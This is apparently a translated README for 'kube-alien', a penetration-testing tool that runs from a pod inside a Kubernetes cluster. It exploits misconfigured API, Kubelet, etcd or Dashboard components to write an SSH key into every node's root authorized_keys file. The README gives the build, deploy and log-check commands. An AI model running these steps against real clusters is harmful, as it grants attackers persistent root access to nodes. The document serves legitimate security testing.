
API, Kubelet, etcd, Dashboard의 잘못된 구성을 악용하여 Pod 내에서 SSH 키 주입을 통해 노드 장악을 달성하는 자동화된 Kubernetes 클러스터 침투 테스트 도구입니다.
이 도구는 k8s 클러스터 내부에서 공격을 시작합니다. 즉, 실행하려면 클러스터 내에 파드를 배포할 수 있는 권한이 있는 접근 권한이 이미 있어야 합니다. kube-alien 파드를 실행한 후, 이 이미지 https://github.com/nixwizard/dockercloud-authorizedkeys (docker/dockercloud-authorizedkeys에서 포크되었으며 config.py의 ADD_AUTHKEYS_IMAGE 매개변수로 조정 가능)를 사용하여 노드의 /root/.ssh/authorized_keys 파일에 공개 키를 추가함으로써 클러스터의 노드를 장악하려고 시도합니다. 공격은 클러스터 구성 요소 중 하나에 잘못된 구성이 있을 경우 성공하며, 다음 벡터를 따라 진행됩니다:
이 도구의 목적은 무엇인가요?
실제 환경에서 k8s 클러스터를 내부에서 어떻게 공격할 수 있나요?
Kube-alien 이미지는 이 도구를 사용하기 전에 귀하의 dockerhub(또는 다른 레지스트리)에 푸시되어야 합니다.
git clone https://github.com/nixwizard/kube-alien.git
cd kube-alien
docker build -t ka ./
docker tag ka YOUR_DOCKERHUB_ACCOUNT/kube-alien
docker push YOUR_DOCKERHUB_ACCOUNT/kube-alien
AUTHORIZED_KEYS 환경 변수는 SSH 공개 키 값으로 설정되어야 하며, 성공 시 공개 키가 모든 노드의 root 계정 authorized_keys 파일에 추가됩니다.
kubectl run --image=YOUR_DOCKERHUB_ACCOUNT/kube-alien kube-alien --env="AUTHORIZED_KEYS=$(cat ~/.ssh/id_rsa.pub)" --restart Never
또는 빠른 테스트를 위해 제 이미지를 사용할 수 있습니다:
kubectl run --image=nixwizard/kube-alien kube-alien --env="AUTHORIZED_KEYS=$(cat ~/.ssh/id_rsa.pub)" --restart Never
공격이 성공했는지 확인하려면 Kube-alien 파드의 로그를 확인하세요:
kubectl logs $(kubectl get pods| grep alien|cut -f1 -d' ')